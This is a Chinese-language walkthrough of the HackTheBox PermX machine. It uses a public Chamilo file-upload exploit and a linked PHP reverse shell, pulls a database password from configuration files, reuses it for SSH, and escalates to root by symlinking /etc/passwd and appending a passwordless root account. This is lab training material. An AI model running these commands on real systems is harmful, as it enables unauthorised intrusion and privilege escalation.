Permx靶机笔记
概述
permx靶机是HTB的简单靶机,这台靶机团体考验渗出人员的信息搜集能力,可以收只有信息搜集的快速,才能快速拿到它的flag。
团体是比较简单的靶机
靶机毗连:https://app.hackthebox.com/machines/PermX
一、nmap扫描
1)端口扫描
- nmap -sT --min-rate 10000 -p- -o ports 10.10.11.23
复制代码- Nmap scan report for 10.10.11.23
- Host is up (2.4s latency).
- Not shown: 65495 filtered tcp ports (no-response), 38 closed tcp ports (conn-refused)
- PORT STATE SERVICE
- 22/tcp open ssh
- 80/tcp open http
- # Nmap done at Tue Aug 6 09:44:09 2024 -- 1 IP address (1 host up) scanned in 327.15 seconds
复制代码 2)具体信息扫描
- nmap -sT -sV -sC -O -p22,80 -o detail 10.10.11.23
复制代码- Nmap scan report for 10.10.11.23
- Host is up (2.7s latency).
- PORT STATE SERVICE VERSION
- 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
- | ssh-hostkey:
- | 256 e25c5d8c473ed872f7b4800349866def (ECDSA)
- |_ 256 1f41028e6b17189ca0ac5423e9713017 (ED25519)
- 80/tcp open http Apache httpd 2.4.52
- |_http-server-header: Apache/2.4.52 (Ubuntu)
- |_http-title: Did not follow redirect to http://permx.htb
- Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
- Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 4.15 - 5.6 (93%), Linux 5.4 (93%), Linux 3.8 (92%), QNAP QTS 4.0 - 4.2 (92%), Linux 5.3 - 5.4 (92%)
- No exact OS matches for host (test conditions non-ideal).
- Network Distance: 2 hops
- Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
- OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
- # Nmap done at Tue Aug 6 09:57:53 2024 -- 1 IP address (1 host up) scanned in 133.37 seconds
复制代码 看到``http-title: Did not follow redirect to http://permx.htb`
我们去/etc/hosts文件中绑定域名
把10.10.11.23 permx.htb写进去
二、访问web
开始爆破子域名- sudo gobuster dns -d permx.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
- [sudo] kali 的密码:
- ===============================================================
- Gobuster v3.6
- by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
- ===============================================================
- [+] Domain: permx.htb
- [+] Threads: 10
- [+] Timeout: 1s
- [+] Wordlist: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
- ===============================================================
- Starting gobuster in DNS enumeration mode
- ===============================================================
- Found: lms.permx.htb
- Progress: 4989 / 4990 (99.98%)
- ===============================================================
- Finished
- ===============================================================
复制代码 看到结果lms.permx.htb
同样写到/etc/hosts文件中,打开浏览器举行访问。
一个登录窗口,应该是cms。网上找一下有没有漏洞公开信息。同时举行目录爆破,看有没有一些页面信息。
1)目录爆破
- sudo gobuster dir -u http://lms.permx.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
- ===============================================================
- Gobuster v3.6
- by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
- ===============================================================
- [+] Url: http://lms.permx.htb
- [+] Method: GET
- [+] Threads: 10
- [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
- [+] Negative Status codes: 404
- [+] User Agent: gobuster/3.6
- [+] Timeout: 10s
- ===============================================================
- Starting gobuster in directory enumeration mode
- ===============================================================
- /main (Status: 301) [Size: 313] [--> http://lms.permx.htb/main/]
- /web (Status: 301) [Size: 312] [--> http://lms.permx.htb/web/]
- /documentation (Status: 301) [Size: 322] [--> http://lms.permx.htb/documentation/]
- /bin (Status: 301) [Size: 312] [--> http://lms.permx.htb/bin/]
- /src (Status: 301) [Size: 312] [--> http://lms.permx.htb/src/]
- /app (Status: 301) [Size: 312] [--> http://lms.permx.htb/app/]
- /vendor (Status: 301) [Size: 315] [--> http://lms.permx.htb/vendor/]
- /LICENSE (Status: 200) [Size: 35147]
- /plugin (Status: 301) [Size: 315] [--> http://lms.permx.htb/plugin/]
- /certificates (Status: 301) [Size: 321] [--> http://lms.permx.htb/certificates/]
- Progress: 39913 / 220561 (18.10%)
- /custompages (Status: 301) [Size: 320] [--> http://lms.permx.htb/custompages/]
- /server-status (Status: 403) [Size: 278]
- Progress: 220560 / 220561 (100.00%)
- ===============================================================
- Finished
- ===============================================================
复制代码 也没什么有用的路径泄漏出来
2)CVE搜刮
找到了一个文件上传的漏洞CVE-2023-4220
exploit:https://github.com/Ziad-Sakr/Chamilo-CVE-2023-4220-Exploit
php-reverse-shell:https://pentestmonkey.net/tools/web-shells/php-reverse-shell
三、获得立足点
两个文件下载下来
修改一下reverse.php文件的ip地址和端口
成功获得立足点- python3 -c 'import pty;pty.spawn("/bin/bash")'
复制代码- export TERM=xterm-color # 可以用clear清屏
复制代码 我们在用户目录下发现了mtz用户
四、获得mtz用户权限
- find / -name configuration.php 2> /dev/null
复制代码
找到了chamilo的配置文件,去打开看看- cat /var/www/chamilo/app/config/configuration.php
- cat /var/www/chamilo/plugin/sepe/src/configuration.php
复制代码 在app目录下的配置文件中,我们看到了数据库的用户名和暗码
我们毗连数据库- mysql -u chamilo -p03F6lY3uXAP2bkW8
复制代码
成功进入数据库
这里有admin和password的hash值
用hashcat等工具尝试破解hash值,可惜一无所获
我们想一下,这个数据库的暗码03F6lY3uXAP2bkW8 会不会和它ssh用户mtz的暗码一样呢 尝试一下- sudo ssh mtz@10.10.11.23
- 03F6lY3uXAP2bkW8
复制代码
发现用户flag
五、提权到root
sudo -l 看到有一个脚本
- #!/bin/bash
- if [ "$#" -ne 3 ]; then
- /usr/bin/echo "Usage: $0 user perm file"
- exit 1
- fi
- user="$1"
- perm="$2"
- target="$3"
- if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
- /usr/bin/echo "Access denied."
- exit 1
- fi
- # Check if the path is a file
- if [ ! -f "$target" ]; then
- /usr/bin/echo "Target must be a file."
- exit 1
- fi
- /usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
复制代码 因为文件是不可写的,我们只能审计一下这个脚本文件,看看能不能完成提权了。
这里制止了一些恶意的操作,我们可以尝试链文件- mtz@permx:~:$ ln -s /etc/passwd /home/mtz/test
- mtz@permx:~:$ sudo /opt/acl.sh mtz rw /home/mtz/test
- mtz@permx:~:$ echo "lingx5::0:0:lingx5:/root:/bin/bash" >> ./test
- mtz@permx:~:$ su lingx5
- root@permx:/home/mtz:#
复制代码
成功拿到root的flag
总结
- 我们用nmap扫描,探测出了目标服务有http和ssh服务,对http服务举行子域名罗列,在它的旁站中,我们发现他是一个cms的架构
- 在github上找到了chamilo框架的CVE-2023-4220漏洞,根据github上的教程利用exp,成功后的了www-data用户权限。
- 在chamilo框架的配置文件中,我们发现mysql数据库的配置信息,可以成功登陆数据库,但是admin的暗码是hash值很难破解。
- 我们想到mysql和ssh会不会存在撞库的可能(两者暗码是一样的),我们在home目录下发现mtz用户,尝试ssh毗连,成功获得mtz用户的权限
- 在mtz的sudo列表中看到了/opt/acl.sh文件,通过对shell脚本的审计,我们发现这个脚本可以给/home/mtz/*的文件赋权限,由此我们利用软毗连的方式,获得/etc/passwd的写权限,成功提权到root。
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